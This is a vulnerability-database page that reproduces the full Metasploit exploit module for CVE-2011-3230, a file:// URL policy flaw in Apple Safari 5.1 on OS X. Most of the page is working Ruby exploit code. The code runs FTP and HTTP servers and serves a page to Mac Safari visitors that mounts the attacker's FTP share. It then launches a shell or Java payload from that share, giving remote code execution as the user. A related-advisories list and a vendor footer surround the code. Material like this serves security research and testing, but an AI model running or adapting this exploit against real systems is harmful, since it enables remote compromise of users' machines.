Lucene search
K

Apple Safari file:// Arbitrary Code Execution

🗓️ 16 Oct 2011 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 27 Views

Apple Safari file:// Arbitrary Code Execution vulnerability on OSX platform allows arbitrary remote code execution under user context through file:// URLs. It can be triggered by opening a share on the victim machine and executing in specific directories. Non-java payloads (*.sh extension) might get launched by Xcode instead and Java ones are recommended

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Safari < 5.1.1 Multiple Vulnerabilities
12 Oct 201100:00
nessus
Tenable Nessus
Safari < 5.1.1 Multiple Vulnerabilities
12 Oct 201100:00
nessus
Tenable Nessus
Mac OS X : Apple Safari < 5.1.1
13 Oct 201100:00
nessus
Circl
CVE-2011-3230
17 Oct 201100:00
circl
Check Point Advisories
Apple Safari file URL Arbitrary Code Execution (CVE-2011-3230)
13 Oct 201100:00
checkpoint_advisories
CVE
CVE-2011-3230
14 Oct 201110:00
cve
Cvelist
CVE-2011-3230
14 Oct 201110:00
cvelist
Exploit DB
Apple Safari - &#039;file://&#039; Arbitrary Code Execution (Metasploit)
17 Oct 201100:00
exploitdb
Metasploit
Apple Safari file:// Arbitrary Code Execution
16 Oct 201119:31
metasploit
NVD
CVE-2011-3230
14 Oct 201110:55
nvd
Rows per page
##
# $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'rex/service_manager'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::FtpServer
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Apple Safari file:// Arbitrary Code Execution",
            'Description'    => %q{
                    This module exploits a vulnerability found in Apple Safari on OSX platform.
                A policy issue in the handling of file:// URLs may allow arbitrary remote code
                execution under the context of the user.
 
                    In order to trigger arbitrary remote code execution, the best way seems to
                be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
                a fileformat that OSX might automount), and then execute it in /Volumes/[share].
                If there's some kind of bug that leaks the victim machine's current username,
                then it's also possible to execute the payload in /Users/[username]/Downloads/,
                or else bruteforce your way to getting that information.
 
                    Please note that non-java payloads (*.sh extension) might get launched by
                Xcode instead of executing it, in that case please try the Java ones instead.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13967 $",
            'Author'         =>
                [
                    'Aaron Sigel',  # Initial discovery
                    'sinn3r',       # Metasploit (also big thanks to HD, and bannedit)
                ],
            'References'     =>
                [
                    ['CVE', '2011-3230'],
                    ['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
                    ['URL', 'http://support.apple.com/kb/HT5000']
                ],
            'Payload'        =>
                {
                    'BadChars'    => "",
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none",
                },
            'Platform'       => [ 'unix', 'osx', 'java' ],
            'Arch'           => [ ARCH_CMD, ARCH_JAVA ],
            'Targets'        =>
                [
                    [ 'Safari 5.1 on OSX',           {} ],
                    [ 'Safari 5.1 on OSX with Java', {} ]
                ],
            'Privileged'     => true,
            'DisclosureDate' => "Oct 12 2011",  #Blog date
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
                OptPort.new('SRVPORT',   [true, "The local port to use for the FTP server (Do not change)", 21 ]),
                OptPort.new('HTTPPORT',  [true, "The HTTP server port", 80])
            ], self.class )
    end
 
 
    #
    # Start the FTP aand HTTP server
    #
    def exploit
        # The correct extension name is necessary because that's how the LauncherServices
        # determines how to open the file.
        ext = (target.name =~ /java/i) ? '.jar' : '.sh'
        @payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
 
        # Start the FTP server
        start_service()
        print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
 
        # Create our own HTTP server
        # We will stay in this functino until we manually terminate execution
        start_http()
    end
 
 
    #
    # Lookup the right address for the client
    #
    def lookup_lhost(c=nil)
        # Get the source address
        if datastore['SRVHOST'] == '0.0.0.0'
            Rex::Socket.source_address( c || '50.50.50.50')
        else
            datastore['SRVHOST']
        end
    end
 
 
    #
    # Override the client connection method and
    # initialize our payload
    #
    def on_client_connect(c)
        r = super(c)
        @state[c][:payload] = regenerate_payload(c).encoded
        r
    end
 
 
    #
    # Handle FTP LIST request (send back the directory listing)
    #
    def on_client_command_list(c, arg)
        conn = establish_data_connection(c)
        if not conn
            c.put("425 Can't build data connection\r\n")
            return
        end
 
        print_status("Data connection setup")
        c.put("150 Here comes the directory listing\r\n")
 
        print_status("Sending directory list via data connection")
        month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
        m = month_names[Time.now.month-1]
        d = Time.now.day
        y = Time.now.year
 
        dir = "-rwxr-xr-x 1 ftp ftp              #{@state[c][:payload].length.to_s} #{m} #{d}  #{y} #{@payload_name}\r\n"
        conn.put(dir)
        conn.close
 
        print_status("Directory sent ok")
        c.put("226 Transfer ok\r\n")
 
        return
    end
 
 
    #
    # Handle the FTP RETR request. This is where we transfer our actual malicious payload
    #
    def on_client_command_retr(c, arg)
        conn = establish_data_connection(c)
        if not conn
            c.put("425 can't build data connection\r\n")
            return
        end
 
        print_status("Connection for file transfer accepted")
        c.put("150 Connection accepted\r\n")
 
        # Send out payload
        conn.put(@state[c][:payload])
        conn.close
        return
    end
 
 
    #
    # Handle the HTTP request and return a response.  Code borrorwed from:
    # msf/core/exploit/http/server.rb
    #
    def start_http(opts={})
        # Ensture all dependencies are present before initializing HTTP
        use_zlib
 
        comm = datastore['ListenerComm']
        if (comm.to_s == "local")
            comm = ::Rex::Socket::Comm::Local
        else
            comm = nil
        end
 
        # Default the server host / port
        opts = {
            'ServerHost' => datastore['SRVHOST'],
            'ServerPort' => datastore['HTTPPORT'],
            'Comm'       => comm
        }.update(opts)
 
        # Start a new HTTP server
        @http_service = Rex::ServiceManager.start(
            Rex::Proto::Http::Server,
            opts['ServerPort'].to_i,
            opts['ServerHost'],
            datastore['SSL'],
            {
                'Msf'        => framework,
                'MsfExploit' => self,
            },
            opts['Comm'],
            datastore['SSLCert']
        )
 
        @http_service.server_name = datastore['HTTP::server_name']
 
        # Default the procedure of the URI to on_request_uri if one isn't
        # provided.
        uopts = {
            'Proc' => Proc.new { |cli, req|
                    on_request_uri(cli, req)
                },
            'Path' => resource_uri
        }.update(opts['Uri'] || {})
 
        proto = (datastore["SSL"] ? "https" : "http")
        print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
 
        if (opts['ServerHost'] == '0.0.0.0')
            print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
        end
 
        # Add path to resource
        @service_path = uopts['Path']
        @http_service.add_resource(uopts['Path'], uopts)
 
        # As long as we have the http_service object, we will keep the ftp server alive
        while @http_service
            select(nil, nil, nil, 1)
        end
    end
 
 
    #
    # Kill HTTP/FTP (shut them down and clear resources)
    #
    def cleanup
        super
 
        # Kill FTP
        stop_service()
 
        # clear my resource, deregister ref, stop/close the HTTP socket
        begin
            @http_service.remove_resource(datastore['URIPATH'])
            @http_service.deref
            @http_service.stop
            @http_service.close
            @http_service = nil
        rescue
        end
    end
 
 
    #
    # Ensures that gzip can be used.  If not, an exception is generated.  The
    # exception is only raised if the DisableGzip advanced option has not been
    # set.
    #
    def use_zlib
        if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
            raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!"
        end
    end
 
 
    #
    # Returns the configured (or random, if not configured) URI path
    #
    def resource_uri
        path = datastore['URIPATH'] || random_uri
        path = '/' + path if path !~ /^\//
        datastore['URIPATH'] = path
        return path
    end
 
 
    #
    # Handle HTTP requets and responses
    #
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
 
        if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
            print_error("Unsupported target: #{agent}")
            send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
            return
        end
 
        html = <<-HTML
        <html>
        <head>
        <base href="file://">
        <script>
        function launch() {
            document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
        }
 
        function share() {
            document.location = "ftp://anonymous:[email protected]#{lookup_lhost}/";
            setTimeout("launch()", 2000);
        }
 
        share();
        </script>
        </head>
        <body>
        </body>
        </html>
        HTML
 
        send_response(cli, 200, 'OK', html)
    end
 
 
    #
    # Create an HTTP response and then send it
    #
    def send_response(cli, code, message='OK', html='')
        proto = Rex::Proto::Http::DefaultProtocol
        res = Rex::Proto::Http::Response.new(code, message, proto)
        res['Content-Type'] = 'text/html'
        res.body = html
 
        cli.send_response(res)
    end
 
end
 
=begin
- Need to find a suitable payload that can be executed without warning.
  Certain executables cannot be executed due to permission issues. A jar file doesn't have this
  problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end



#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation